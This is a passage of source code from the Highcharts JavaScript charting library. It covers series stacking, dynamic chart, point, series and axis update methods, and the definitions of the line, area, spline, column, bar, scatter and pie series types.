y;
// loop over the non-null y values and read them into a local array
for (i = 0; i < yDataLength; i++) {
x = xData[i];
y = yData[i];
// Read stacked values into a stack based on the x value,
// the sign of y and the stack key. Stacking is also handled for null values (#739)
isNegative = negStacks && y < threshold;
key = isNegative ? negKey : stackKey;
// Create empty object for this stack if it doesn't exist yet
if (!stacks[key]) {
stacks[key] = {};
}
// Initialize StackItem for this x
if (!stacks[key][x]) {
if (oldStacks[key] && oldStacks[key][x]) {
stacks[key][x] = oldStacks[key][x];
stacks[key][x].total = null;
} else {
stacks[key][x] = new StackItem(yAxis, yAxis.options.stackLabels, isNegative, x, stackOption, stacking);
}
}
// If the StackItem doesn't exist, create it first
stack = stacks[key][x];
stack.points[series.index] = [stack.cum || 0];
// Add value to the stack total
if (stacking === 'percent') {
// Percent stacked column, totals are the same for the positive and negative stacks
other = isNegative ? stackKey : negKey;
if (negStacks && stacks[other] && stacks[other][x]) {
other = stacks[other][x];
stack.total = other.total = mathMax(other.total, stack.total) + mathAbs(y) || 0;
// Percent stacked areas
} else {
stack.total = correctFloat(stack.total + (mathAbs(y) || 0));
}
} else {
stack.total = correctFloat(stack.total + (y || 0));
}
stack.cum = (stack.cum || 0) + (y || 0);
stack.points[series.index].push(stack.cum);
stackedYData[i] = stack.cum;
}
if (stacking === 'percent') {
yAxis.usePercentage = true;
}
this.stackedYData = stackedYData; // To be used in getExtremes
// Reset old stacks
yAxis.oldStacks = {};
};
/**
* Iterate over all stacks and compute the absolute values to percent
*/
Series.prototype.setPercentStacks = function () {
var series = this,
stackKey = series.stackKey,
stacks = series.yAxis.stacks,
processedXData = series.processedXData;
each([stackKey, '-' + stackKey], function (key) {
var i = processedXData.length,
x,
stack,
pointExtremes,
totalFactor;
while (i--) {
x = processedXData[i];
stack = stacks[key] && stacks[key][x];
pointExtremes = stack && stack.points[series.index];
if (pointExtremes) {
totalFactor = stack.total ? 100 / stack.total : 0;
pointExtremes[0] = correctFloat(pointExtremes[0] * totalFactor); // Y bottom value
pointExtremes[1] = correctFloat(pointExtremes[1] * totalFactor); // Y value
series.stackedYData[i] = pointExtremes[1];
}
}
});
};
// Extend the Chart prototype for dynamic methods
extend(Chart.prototype, {
/**
* Add a series dynamically after time
*
* @param {Object} options The config options
* @param {Boolean} redraw Whether to redraw the chart after adding. Defaults to true.
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*
* @return {Object} series The newly created series object
*/
addSeries: function (options, redraw, animation) {
var series,
chart = this;
if (options) {
redraw = pick(redraw, true); // defaults to true
fireEvent(chart, 'addSeries', { options: options }, function () {
series = chart.initSeries(options);
chart.isDirtyLegend = true; // the series array is out of sync with the display
chart.linkSeries();
if (redraw) {
chart.redraw(animation);
}
});
}
return series;
},
/**
* Add an axis to the chart
* @param {Object} options The axis option
* @param {Boolean} isX Whether it is an X axis or a value axis
*/
addAxis: function (options, isX, redraw, animation) {
var key = isX ? 'xAxis' : 'yAxis',
chartOptions = this.options,
axis;
/*jslint unused: false*/
axis = new Axis(this, merge(options, {
index: this[key].length,
isX: isX
}));
/*jslint unused: true*/
// Push the new axis options to the chart options
chartOptions[key] = splat(chartOptions[key] || {});
chartOptions[key].push(options);
if (pick(redraw, true)) {
this.redraw(animation);
}
},
/**
* Dim the chart and show a loading text or symbol
* @param {String} str An optional text to show in the loading label instead of the default one
*/
showLoading: function (str) {
var chart = this,
options = chart.options,
loadingDiv = chart.loadingDiv;
var loadingOptions = options.loading;
// create the layer at the first call
if (!loadingDiv) {
chart.loadingDiv = loadingDiv = createElement(DIV, {
className: PREFIX + 'loading'
}, extend(loadingOptions.style, {
zIndex: 10,
display: NONE
}), chart.container);
chart.loadingSpan = createElement(
'span',
null,
loadingOptions.labelStyle,
loadingDiv
);
}
// update text
chart.loadingSpan.innerHTML = str || options.lang.loading;
// show it
if (!chart.loadingShown) {
css(loadingDiv, {
opacity: 0,
display: '',
left: chart.plotLeft + PX,
top: chart.plotTop + PX,
width: chart.plotWidth + PX,
height: chart.plotHeight + PX
});
animate(loadingDiv, {
opacity: loadingOptions.style.opacity
}, {
duration: loadingOptions.showDuration || 0
});
chart.loadingShown = true;
}
},
/**
* Hide the loading layer
*/
hideLoading: function () {
var options = this.options,
loadingDiv = this.loadingDiv;
if (loadingDiv) {
animate(loadingDiv, {
opacity: 0
}, {
duration: options.loading.hideDuration || 100,
complete: function () {
css(loadingDiv, { display: NONE });
}
});
}
this.loadingShown = false;
}
});
// extend the Point prototype for dynamic methods
extend(Point.prototype, {
/**
* Update the point with new options (typically x/y data) and optionally redraw the series.
*
* @param {Object} options Point options as defined in the series.data array
* @param {Boolean} redraw Whether to redraw the chart or wait for an explicit call
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*
*/
update: function (options, redraw, animation) {
var point = this,
series = point.series,
graphic = point.graphic,
i,
data = series.data,
chart = series.chart,
seriesOptions = series.options;
redraw = pick(redraw, true);
// fire the event with a default handler of doing the update
point.firePointEvent('update', { options: options }, function () {
point.applyOptions(options);
// update visuals
if (isObject(options)) {
series.getAttribs();
if (graphic) {
if (options && options.marker && options.marker.symbol) {
point.graphic = graphic.destroy();
} else {
graphic.attr(point.pointAttr[point.state || '']);
}
}
if (options && options.dataLabels && point.dataLabel) { // #2468
point.dataLabel = point.dataLabel.destroy();
}
}
// record changes in the parallel arrays
i = inArray(point, data);
series.updateParallelArrays(point, i);
seriesOptions.data[i] = point.options;
// redraw
series.isDirty = series.isDirtyData = true;
if (!series.fixedBox && series.hasCartesianSeries) { // #1906, #2320
chart.isDirtyBox = true;
}
if (seriesOptions.legendType === 'point') { // #1831, #1885
chart.legend.destroyItem(point);
}
if (redraw) {
chart.redraw(animation);
}
});
},
/**
* Remove a point and optionally redraw the series and if necessary the axes
* @param {Boolean} redraw Whether to redraw the chart or wait for an explicit call
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*/
remove: function (redraw, animation) {
var point = this,
series = point.series,
points = series.points,
chart = series.chart,
i,
data = series.data;
setAnimation(animation, chart);
redraw = pick(redraw, true);
// fire the event with a default handler of removing the point
point.firePointEvent('remove', null, function () {
// splice all the parallel arrays
i = inArray(point, data);
if (data.length === points.length) {
points.splice(i, 1);
}
data.splice(i, 1);
series.options.data.splice(i, 1);
series.updateParallelArrays(point, 'splice', i, 1);
point.destroy();
// redraw
series.isDirty = true;
series.isDirtyData = true;
if (redraw) {
chart.redraw();
}
});
}
});
// Extend the series prototype for dynamic methods
extend(Series.prototype, {
/**
* Add a point dynamically after chart load time
* @param {Object} options Point options as given in series.data
* @param {Boolean} redraw Whether to redraw the chart or wait for an explicit call
* @param {Boolean} shift If shift is true, a point is shifted off the start
* of the series as one is appended to the end.
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*/
addPoint: function (options, redraw, shift, animation) {
var series = this,
seriesOptions = series.options,
data = series.data,
graph = series.graph,
area = series.area,
chart = series.chart,
names = series.xAxis && series.xAxis.names,
currentShift = (graph && graph.shift) || 0,
dataOptions = seriesOptions.data,
point,
isInTheMiddle,
xData = series.xData,
x,
i;
setAnimation(animation, chart);
// Make graph animate sideways
if (shift) {
each([graph, area, series.graphNeg, series.areaNeg], function (shape) {
if (shape) {
shape.shift = currentShift + 1;
}
});
}
if (area) {
area.isArea = true; // needed in animation, both with and without shift
}
// Optional redraw, defaults to true
redraw = pick(redraw, true);
// Get options and push the point to xData, yData and series.options. In series.generatePoints
// the Point instance will be created on demand and pushed to the series.data array.
point = { series: series };
series.pointClass.prototype.applyOptions.apply(point, [options]);
x = point.x;
// Get the insertion point
i = xData.length;
if (series.requireSorting && x < xData[i - 1]) {
isInTheMiddle = true;
while (i && xData[i - 1] > x) {
i--;
}
}
series.updateParallelArrays(point, 'splice', i, 0, 0); // insert undefined item
series.updateParallelArrays(point, i); // update it
if (names) {
names[x] = point.name;
}
dataOptions.splice(i, 0, options);
if (isInTheMiddle) {
series.data.splice(i, 0, null);
series.processData();
}
// Generate points to be added to the legend (#1329)
if (seriesOptions.legendType === 'point') {
series.generatePoints();
}
// Shift the first point off the parallel arrays
// todo: consider series.removePoint(i) method
if (shift) {
if (data[0] && data[0].remove) {
data[0].remove(false);
} else {
data.shift();
series.updateParallelArrays(point, 'shift');
dataOptions.shift();
}
}
// redraw
series.isDirty = true;
series.isDirtyData = true;
if (redraw) {
series.getAttribs(); // #1937
chart.redraw();
}
},
/**
* Remove a series and optionally redraw the chart
*
* @param {Boolean} redraw Whether to redraw the chart or wait for an explicit call
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*/
remove: function (redraw, animation) {
var series = this,
chart = series.chart;
redraw = pick(redraw, true);
if (!series.isRemoving) { /* prevent triggering native event in jQuery
(calling the remove function from the remove event) */
series.isRemoving = true;
// fire the event with a default handler of removing the point
fireEvent(series, 'remove', null, function () {
// destroy elements
series.destroy();
// redraw
chart.isDirtyLegend = chart.isDirtyBox = true;
chart.linkSeries();
if (redraw) {
chart.redraw(animation);
}
});
}
series.isRemoving = false;
},
/**
* Update the series with a new set of options
*/
update: function (newOptions, redraw) {
var chart = this.chart,
// must use user options when changing type because this.options is merged
// in with type specific plotOptions
oldOptions = this.userOptions,
oldType = this.type,
proto = seriesTypes[oldType].prototype,
n;
// Do the merge, with some forced options
newOptions = merge(oldOptions, {
animation: false,
index: this.index,
pointStart: this.xData[0] // when updating after addPoint
}, { data: this.options.data }, newOptions);
// Destroy the series and reinsert methods from the type prototype
this.remove(false);
for (n in proto) { // Overwrite series-type specific methods (#2270)
if (proto.hasOwnProperty(n)) {
this[n] = UNDEFINED;
}
}
extend(this, seriesTypes[newOptions.type || oldType].prototype);
this.init(chart, newOptions);
if (pick(redraw, true)) {
chart.redraw(false);
}
}
});
// Extend the Axis.prototype for dynamic methods
extend(Axis.prototype, {
/**
* Update the axis with a new options structure
*/
update: function (newOptions, redraw) {
var chart = this.chart;
newOptions = chart.options[this.coll][this.options.index] = merge(this.userOptions, newOptions);
this.destroy(true);
this._addedPlotLB = this.userMin = this.userMax = UNDEFINED; // #1611, #2306
this.init(chart, extend(newOptions, { events: UNDEFINED }));
chart.isDirtyBox = true;
if (pick(redraw, true)) {
chart.redraw();
}
},
/**
* Remove the axis from the chart
*/
remove: function (redraw) {
var chart = this.chart,
key = this.coll, // xAxis or yAxis
axisSeries = this.series,
i = axisSeries.length;
// Remove associated series (#2687)
while (i--) {
if (axisSeries[i]) {
axisSeries[i].remove(false);
}
}
// Remove the axis
erase(chart.axes, this);
erase(chart[key], this);
chart.options[key].splice(this.options.index, 1);
each(chart[key], function (axis, i) { // Re-index, #1706
axis.options.index = i;
});
this.destroy();
chart.isDirtyBox = true;
if (pick(redraw, true)) {
chart.redraw();
}
},
/**
* Update the axis title by options
*/
setTitle: function (newTitleOptions, redraw) {
this.update({ title: newTitleOptions }, redraw);
},
/**
* Set new axis categories and optionally redraw
* @param {Array} categories
* @param {Boolean} redraw
*/
setCategories: function (categories, redraw) {
this.update({ categories: categories }, redraw);
}
});
/**
* LineSeries object
*/
var LineSeries = extendClass(Series);
seriesTypes.line = LineSeries;
/**
* Set the default options for area
*/
defaultPlotOptions.area = merge(defaultSeriesOptions, {
threshold: 0
// trackByArea: false,
// lineColor: null, // overrides color, but lets fillColor be unaltered
// fillOpacity: 0.75,
// fillColor: null
});
/**
* AreaSeries object
*/
var AreaSeries = extendClass(Series, {
type: 'area',
/**
* For stacks, don't split segments on null values. Instead, draw null values with
* no marker. Also insert dummy points for any X position that exists in other series
* in the stack.
*/
getSegments: function () {
var segments = [],
segment = [],
keys = [],
xAxis = this.xAxis,
yAxis = this.yAxis,
stack = yAxis.stacks[this.stackKey],
pointMap = {},
plotX,
plotY,
points = this.points,
connectNulls = this.options.connectNulls,
val,
i,
x;
if (this.options.stacking && !this.cropped) { // cropped causes artefacts in Stock, and perf issue
// Create a map where we can quickly look up the points by their X value.
for (i = 0; i < points.length; i++) {
pointMap[points[i].x] = points[i];
}
// Sort the keys (#1651)
for (x in stack) {
if (stack[x].total !== null) { // nulled after switching between grouping and not (#1651, #2336)
keys.push(+x);
}
}
keys.sort(function (a, b) {
return a - b;
});
each(keys, function (x) {
if (connectNulls && (!pointMap[x] || pointMap[x].y === null)) { // #1836
return;
// The point exists, push it to the segment
} else if (pointMap[x]) {
segment.push(pointMap[x]);
// There is no point for this X value in this series, so we
// insert a dummy point in order for the areas to be drawn
// correctly.
} else {
plotX = xAxis.translate(x);
val = stack[x].percent ? (stack[x].total ? stack[x].cum * 100 / stack[x].total : 0) : stack[x].cum; // #1991
plotY = yAxis.toPixels(val, true);
segment.push({
y: null,
plotX: plotX,
clientX: plotX,
plotY: plotY,
yBottom: plotY,
onMouseOver: noop
});
}
});
if (segment.length) {
segments.push(segment);
}
} else {
Series.prototype.getSegments.call(this);
segments = this.segments;
}
this.segments = segments;
},
/**
* Extend the base Series getSegmentPath method by adding the path for the area.
* This path is pushed to the series.areaPath property.
*/
getSegmentPath: function (segment) {
var segmentPath = Series.prototype.getSegmentPath.call(this, segment), // call base method
areaSegmentPath = [].concat(segmentPath), // work on a copy for the area path
i,
options = this.options,
segLength = segmentPath.length,
translatedThreshold = this.yAxis.getThreshold(options.threshold), // #2181
yBottom;
if (segLength === 3) { // for animation from 1 to two points
areaSegmentPath.push(L, segmentPath[1], segmentPath[2]);
}
if (options.stacking && !this.closedStacks) {
// Follow stack back. Todo: implement areaspline. A general solution could be to
// reverse the entire graphPath of the previous series, though may be hard with
// splines and with series with different extremes
for (i = segment.length - 1; i >= 0; i--) {
yBottom = pick(segment[i].yBottom, translatedThreshold);
// step line?
if (i < segment.length - 1 && options.step) {
areaSegmentPath.push(segment[i + 1].plotX, yBottom);
}
areaSegmentPath.push(segment[i].plotX, yBottom);
}
} else { // follow zero line back
this.closeSegment(areaSegmentPath, segment, translatedThreshold);
}
this.areaPath = this.areaPath.concat(areaSegmentPath);
return segmentPath;
},
/**
* Extendable method to close the segment path of an area. This is overridden in polar
* charts.
*/
closeSegment: function (path, segment, translatedThreshold) {
path.push(
L,
segment[segment.length - 1].plotX,
translatedThreshold,
L,
segment[0].plotX,
translatedThreshold
);
},
/**
* Draw the graph and the underlying area. This method calls the Series base
* function and adds the area. The areaPath is calculated in the getSegmentPath
* method called from Series.prototype.drawGraph.
*/
drawGraph: function () {
// Define or reset areaPath
this.areaPath = [];
// Call the base method
Series.prototype.drawGraph.apply(this);
// Define local variables
var series = this,
areaPath = this.areaPath,
options = this.options,
negativeColor = options.negativeColor,
negativeFillColor = options.negativeFillColor,
props = [['area', this.color, options.fillColor]]; // area name, main color, fill color
if (negativeColor || negativeFillColor) {
props.push(['areaNeg', negativeColor, negativeFillColor]);
}
each(props, function (prop) {
var areaKey = prop[0],
area = series[areaKey];
// Create or update the area
if (area) { // update
area.animate({ d: areaPath });
} else { // create
series[areaKey] = series.chart.renderer.path(areaPath)
.attr({
fill: pick(
prop[2],
Color(prop[1]).setOpacity(pick(options.fillOpacity, 0.75)).get()
),
zIndex: 0 // #1069
}).add(series.group);
}
});
},
drawLegendSymbol: LegendSymbolMixin.drawRectangle
});
seriesTypes.area = AreaSeries;
/**
* Set the default options for spline
*/
defaultPlotOptions.spline = merge(defaultSeriesOptions);
/**
* SplineSeries object
*/
var SplineSeries = extendClass(Series, {
type: 'spline',
/**
* Get the spline segment from a given point's previous neighbour to the given point
*/
getPointSpline: function (segment, point, i) {
var smoothing = 1.5, // 1 means control points midway between points, 2 means 1/3 from the point, 3 is 1/4 etc
denom = smoothing + 1,
plotX = point.plotX,
plotY = point.plotY,
lastPoint = segment[i - 1],
nextPoint = segment[i + 1],
leftContX,
leftContY,
rightContX,
rightContY,
ret;
// find control points
if (lastPoint && nextPoint) {
var lastX = lastPoint.plotX,
lastY = lastPoint.plotY,
nextX = nextPoint.plotX,
nextY = nextPoint.plotY,
correction;
leftContX = (smoothing * plotX + lastX) / denom;
leftContY = (smoothing * plotY + lastY) / denom;
rightContX = (smoothing * plotX + nextX) / denom;
rightContY = (smoothing * plotY + nextY) / denom;
// have the two control points make a straight line through main point
correction = ((rightContY - leftContY) * (rightContX - plotX)) /
(rightContX - leftContX) + plotY - rightContY;
leftContY += correction;
rightContY += correction;
// to prevent false extremes, check that control points are between
// neighbouring points' y values
if (leftContY > lastY && leftContY > plotY) {
leftContY = mathMax(lastY, plotY);
rightContY = 2 * plotY - leftContY; // mirror of left control point
} else if (leftContY < lastY && leftContY < plotY) {
leftContY = mathMin(lastY, plotY);
rightContY = 2 * plotY - leftContY;
}
if (rightContY > nextY && rightContY > plotY) {
rightContY = mathMax(nextY, plotY);
leftContY = 2 * plotY - rightContY;
} else if (rightContY < nextY && rightContY < plotY) {
rightContY = mathMin(nextY, plotY);
leftContY = 2 * plotY - rightContY;
}
// record for drawing in next point
point.rightContX = rightContX;
point.rightContY = rightContY;
}
// Visualize control points for debugging
/*
if (leftContX) {
this.chart.renderer.circle(leftContX + this.chart.plotLeft, leftContY + this.chart.plotTop, 2)
.attr({
stroke: 'red',
'stroke-width': 1,
fill: 'none'
})
.add();
this.chart.renderer.path(['M', leftContX + this.chart.plotLeft, leftContY + this.chart.plotTop,
'L', plotX + this.chart.plotLeft, plotY + this.chart.plotTop])
.attr({
stroke: 'red',
'stroke-width': 1
})
.add();
this.chart.renderer.circle(rightContX + this.chart.plotLeft, rightContY + this.chart.plotTop, 2)
.attr({
stroke: 'green',
'stroke-width': 1,
fill: 'none'
})
.add();
this.chart.renderer.path(['M', rightContX + this.chart.plotLeft, rightContY + this.chart.plotTop,
'L', plotX + this.chart.plotLeft, plotY + this.chart.plotTop])
.attr({
stroke: 'green',
'stroke-width': 1
})
.add();
}
*/
// moveTo or lineTo
if (!i) {
ret = [M, plotX, plotY];
} else { // curve from last point to this
ret = [
'C',
lastPoint.rightContX || lastPoint.plotX,
lastPoint.rightContY || lastPoint.plotY,
leftContX || plotX,
leftContY || plotY,
plotX,
plotY
];
lastPoint.rightContX = lastPoint.rightContY = null; // reset for updating series later
}
return ret;
}
});
seriesTypes.spline = SplineSeries;
/**
* Set the default options for areaspline
*/
defaultPlotOptions.areaspline = merge(defaultPlotOptions.area);
/**
* AreaSplineSeries object
*/
var areaProto = AreaSeries.prototype,
AreaSplineSeries = extendClass(SplineSeries, {
type: 'areaspline',
closedStacks: true, // instead of following the previous graph back, follow the threshold back
// Mix in methods from the area series
getSegmentPath: areaProto.getSegmentPath,
closeSegment: areaProto.closeSegment,
drawGraph: areaProto.drawGraph,
drawLegendSymbol: LegendSymbolMixin.drawRectangle
});
seriesTypes.areaspline = AreaSplineSeries;
/**
* Set the default options for column
*/
defaultPlotOptions.column = merge(defaultSeriesOptions, {
borderColor: '#FFFFFF',
borderWidth: 1,
borderRadius: 0,
//colorByPoint: undefined,
groupPadding: 0.2,
//grouping: true,
marker: null, // point options are specified in the base options
pointPadding: 0.1,
//pointWidth: null,
minPointLength: 0,
cropThreshold: 50, // when there are more points, they will not animate out of the chart on xAxis.setExtremes
pointRange: null, // null means auto, meaning 1 in a categorized axis and least distance between points if not categories
states: {
hover: {
brightness: 0.1,
shadow: false
},
select: {
color: '#C0C0C0',
borderColor: '#000000',
shadow: false
}
},
dataLabels: {
align: null, // auto
verticalAlign: null, // auto
y: null
},
stickyTracking: false,
threshold: 0
});
/**
* ColumnSeries object
*/
var ColumnSeries = extendClass(Series, {
type: 'column',
pointAttrToOptions: { // mapping between SVG attributes and the corresponding options
stroke: 'borderColor',
'stroke-width': 'borderWidth',
fill: 'color',
r: 'borderRadius'
},
cropShoulder: 0,
trackerGroups: ['group', 'dataLabelsGroup'],
negStacks: true, // use separate negative stacks, unlike area stacks where a negative
// point is substracted from previous (#1910)
/**
* Initialize the series
*/
init: function () {
Series.prototype.init.apply(this, arguments);
var series = this,
chart = series.chart;
// if the series is added dynamically, force redraw of other
// series affected by a new column
if (chart.hasRendered) {
each(chart.series, function (otherSeries) {
if (otherSeries.type === series.type) {
otherSeries.isDirty = true;
}
});
}
},
/**
* Return the width and x offset of the columns adjusted for grouping, groupPadding, pointPadding,
* pointWidth etc.
*/
getColumnMetrics: function () {
var series = this,
options = series.options,
xAxis = series.xAxis,
yAxis = series.yAxis,
reversedXAxis = xAxis.reversed,
stackKey,
stackGroups = {},
columnIndex,
columnCount = 0;
// Get the total number of column type series.
// This is called on every series. Consider moving this logic to a
// chart.orderStacks() function and call it on init, addSeries and removeSeries
if (options.grouping === false) {
columnCount = 1;
} else {
each(series.chart.series, function (otherSeries) {
var otherOptions = otherSeries.options,
otherYAxis = otherSeries.yAxis;
if (otherSeries.type === series.type && otherSeries.visible &&
yAxis.len === otherYAxis.len && yAxis.pos === otherYAxis.pos) { // #642, #2086
if (otherOptions.stacking) {
stackKey = otherSeries.stackKey;
if (stackGroups[stackKey] === UNDEFINED) {
stackGroups[stackKey] = columnCount++;
}
columnIndex = stackGroups[stackKey];
} else if (otherOptions.grouping !== false) { // #1162
columnIndex = columnCount++;
}
otherSeries.columnIndex = columnIndex;
}
});
}
var categoryWidth = mathMin(
mathAbs(xAxis.transA) * (xAxis.ordinalSlope || options.pointRange || xAxis.closestPointRange || xAxis.tickInterval || 1), // #2610
xAxis.len // #1535
),
groupPadding = categoryWidth * options.groupPadding,
groupWidth = categoryWidth - 2 * groupPadding,
pointOffsetWidth = groupWidth / columnCount,
optionPointWidth = options.pointWidth,
pointPadding = defined(optionPointWidth) ? (pointOffsetWidth - optionPointWidth) / 2 :
pointOffsetWidth * options.pointPadding,
pointWidth = pick(optionPointWidth, pointOffsetWidth - 2 * pointPadding), // exact point width, used in polar charts
colIndex = (reversedXAxis ?
columnCount - (series.columnIndex || 0) : // #1251
series.columnIndex) || 0,
pointXOffset = pointPadding + (groupPadding + colIndex *
pointOffsetWidth - (categoryWidth / 2)) *
(reversedXAxis ? -1 : 1);
// Save it for reading in linked series (Error bars particularly)
return (series.columnMetrics = {
width: pointWidth,
offset: pointXOffset
});
},
/**
* Translate each point to the plot area coordinate system and find shape positions
*/
translate: function () {
var series = this,
chart = series.chart,
options = series.options,
borderWidth = options.borderWidth,
yAxis = series.yAxis,
threshold = options.threshold,
translatedThreshold = series.translatedThreshold = yAxis.getThreshold(threshold),
minPointLength = pick(options.minPointLength, 5),
metrics = series.getColumnMetrics(),
pointWidth = metrics.width,
seriesBarW = series.barW = mathCeil(mathMax(pointWidth, 1 + 2 * borderWidth)), // rounded and postprocessed for border width
pointXOffset = series.pointXOffset = metrics.offset,
xCrisp = -(borderWidth % 2 ? 0.5 : 0),
yCrisp = borderWidth % 2 ? 0.5 : 1;
if (chart.renderer.isVML && chart.inverted) {
yCrisp += 1;
}
Series.prototype.translate.apply(series);
// record the new values
each(series.points, function (point) {
var yBottom = pick(point.yBottom, translatedThreshold),
plotY = mathMin(mathMax(-999 - yBottom, point.plotY), yAxis.len + 999 + yBottom), // Don't draw too far outside plot area (#1303, #2241)
barX = point.plotX + pointXOffset,
barW = seriesBarW,
barY = mathMin(plotY, yBottom),
right,
bottom,
fromTop,
fromLeft,
barH = mathMax(plotY, yBottom) - barY;
// Handle options.minPointLength
if (mathAbs(barH) < minPointLength) {
if (minPointLength) {
barH = minPointLength;
barY =
mathRound(mathAbs(barY - translatedThreshold) > minPointLength ? // stacked
yBottom - minPointLength : // keep position
translatedThreshold - (yAxis.translate(point.y, 0, 1, 0, 1) <= translatedThreshold ? minPointLength : 0)); // use exact yAxis.translation (#1485)
}
}
// Cache for access in polar
point.barX = barX;
point.pointWidth = pointWidth;
// Round off to obtain crisp edges
fromLeft = mathAbs(barX) < 0.5;
right = mathRound(barX + barW) + xCrisp;
barX = mathRound(barX) + xCrisp;
barW = right - barX;
fromTop = mathAbs(barY) < 0.5;
bottom = mathRound(barY + barH) + yCrisp;
barY = mathRound(barY) + yCrisp;
barH = bottom - barY;
// Top and left edges are exceptions
if (fromLeft) {
barX += 1;
barW -= 1;
}
if (fromTop) {
barY -= 1;
barH += 1;
}
// Register shape type and arguments to be used in drawPoints
point.shapeType = 'rect';
point.shapeArgs = {
x: barX,
y: barY,
width: barW,
height: barH
};
});
},
getSymbol: noop,
/**
* Use a solid rectangle like the area series types
*/
drawLegendSymbol: LegendSymbolMixin.drawRectangle,
/**
* Columns have no graph
*/
drawGraph: noop,
/**
* Draw the columns. For bars, the series.group is rotated, so the same coordinates
* apply for columns and bars. This method is inherited by scatter series.
*
*/
drawPoints: function () {
var series = this,
chart = this.chart,
options = series.options,
renderer = chart.renderer,
animationLimit = options.animationLimit || 250,
shapeArgs;
// draw the columns
each(series.points, function (point) {
var plotY = point.plotY,
graphic = point.graphic;
if (plotY !== UNDEFINED && !isNaN(plotY) && point.y !== null) {
shapeArgs = point.shapeArgs;
if (graphic) { // update
stop(graphic);
graphic[series.points.length < animationLimit ? 'animate' : 'attr'](merge(shapeArgs));
} else {
point.graphic = graphic = renderer[point.shapeType](shapeArgs)
.attr(point.pointAttr[point.selected ? SELECT_STATE : NORMAL_STATE])
.add(series.group)
.shadow(options.shadow, null, options.stacking && !options.borderRadius);
}
} else if (graphic) {
point.graphic = graphic.destroy(); // #1269
}
});
},
/**
* Animate the column heights one by one from zero
* @param {Boolean} init Whether to initialize the animation or run it
*/
animate: function (init) {
var series = this,
yAxis = this.yAxis,
options = series.options,
inverted = this.chart.inverted,
attr = {},
translatedThreshold;
if (hasSVG) { // VML is too slow anyway
if (init) {
attr.scaleY = 0.001;
translatedThreshold = mathMin(yAxis.pos + yAxis.len, mathMax(yAxis.pos, yAxis.toPixels(options.threshold)));
if (inverted) {
attr.translateX = translatedThreshold - yAxis.len;
} else {
attr.translateY = translatedThreshold;
}
series.group.attr(attr);
} else { // run the animation
attr.scaleY = 1;
attr[inverted ? 'translateX' : 'translateY'] = yAxis.pos;
series.group.animate(attr, series.options.animation);
// delete this function to allow it only once
series.animate = null;
}
}
},
/**
* Remove this series from the chart
*/
remove: function () {
var series = this,
chart = series.chart;
// column and bar series affects other series of the same type
// as they are either stacked or grouped
if (chart.hasRendered) {
each(chart.series, function (otherSeries) {
if (otherSeries.type === series.type) {
otherSeries.isDirty = true;
}
});
}
Series.prototype.remove.apply(series, arguments);
}
});
seriesTypes.column = ColumnSeries;
/**
* Set the default options for bar
*/
defaultPlotOptions.bar = merge(defaultPlotOptions.column);
/**
* The Bar series class
*/
var BarSeries = extendClass(ColumnSeries, {
type: 'bar',
inverted: true
});
seriesTypes.bar = BarSeries;
/**
* Set the default options for scatter
*/
defaultPlotOptions.scatter = merge(defaultSeriesOptions, {
lineWidth: 0,
tooltip: {
headerFormat: '<span style="font-size: 10px; color:{series.color}">{series.name}</span><br/>',
pointFormat: 'x: <b>{point.x}</b><br/>y: <b>{point.y}</b><br/>',
followPointer: true
},
stickyTracking: false
});
/**
* The scatter series class
*/
var ScatterSeries = extendClass(Series, {
type: 'scatter',
sorted: false,
requireSorting: false,
noSharedTooltip: true,
trackerGroups: ['markerGroup'],
takeOrdinalPosition: false, // #2342
singularTooltips: true,
drawGraph: function () {
if (this.options.lineWidth) {
Series.prototype.drawGraph.call(this);
}
}
});
seriesTypes.scatter = ScatterSeries;
/**
* Set the default options for pie
*/
defaultPlotOptions.pie = merge(defaultSeriesOptions, {
borderColor: '#FFFFFF',
borderWidth: 1,
center: [null, null],
clip: false,
colorByPoint: true, // always true for pies
dataLabels: {
// align: null,
// connectorWidth: 1,
// connectorColor: point.color,
// connectorPadding: 5,
distance: 30,
enabled: true,
formatter: function () {
return this.point.name;
}
// softConnector: true,
//y: 0
},
ignoreHiddenPoint: true,
//innerSize: 0,
legendType: 'point',
marker: null, // point options are specified in the base options
size: null,
showInLegend: false,
slicedOffset: 10,
states: {
hover: {
brightness: 0.1,
shadow: false
}
},
stickyTracking: false,
tooltip: {
followPointer: true
}
});
/**
* Extended point object for pies
*/
var PiePoint = extendClass(Point, {
/**
* Initiate the pie slice
*/
init: function () {
Point.prototype.init.apply(this, arguments);
var point = this,
toggleSlice;
// Disallow negative values (#1530)
if (point.y < 0) {
point.y = null;
}
//visible: options.visible !== false,
extend(point, {
visible: point.visible !== false,
name: pick(point.name, 'Slice')
});
// add event listener for select
toggleSlice = function (e) {
point.slice(e.type === 'select');
};
addEvent(point, 'select', toggleSlice);
addEvent(point, 'unselect', toggleSlice);
return point;
},
/**
* Toggle the visibility of the pie slice
* @param {Boolean} vis Whether to show the slice or not. If undefined, the
* visibility is toggled
*/
setVisible: function (vis) {
var point = this,
series = point.series,
chart = series.chart;
// if called without an argument, toggle visibility
point.visible = point.options.visible = vis = vis === UNDEFINED ? !point.visible : vis;
series.options.data[inArray(point, series.data)] = point.options; // update userOptions.data
// Show and hide associated elements
each(['graphic', 'dataLabel', 'connector', 'shadowGroup'], function (key) {
if (point[key]) {
point[key][vis ? 'show' : 'hide'](true);
}
});
if (point.legendItem) {
chart.legend.colorizeItem(point, vis);
}
// Handle ignore hidden slices
if (!series.isDirty && series.options.ignoreHiddenPoint) {
series.isDirty = true;
chart.redraw();
}
},
/**
* Set or toggle whether the slice is cut out from the pie
* @param {Boolean} sliced When undefined, the slice state is toggled
* @param {Boolean} redraw Whether to redraw the chart. True by default.
*/
slice: function (sliced, redraw, animation) {
var point = this,
series = point.series,
chart = series.chart,
translation;
setAnimation(animation, chart);
// redraw is true by default
redraw = pick(redraw, true);
// if called without an argument, toggle
point.sliced = point.options.sliced = sliced = defined(sliced) ? sliced : !point.sliced;
series.options.data[inArray(point, series.data)] = point.options; // update userOptions.data
translation = sliced ? point.slicedTranslation : {
translateX: 0,
translateY: 0
};
point.graphic.animate(translation);
if (point.shadowGroup) {
point.shadowGroup.animate(translation);
}
}
});
/**
* The Pie series class
*/
var PieSeries = {
type: 'pie',
isCartesian: false,
pointClass: PiePoint,
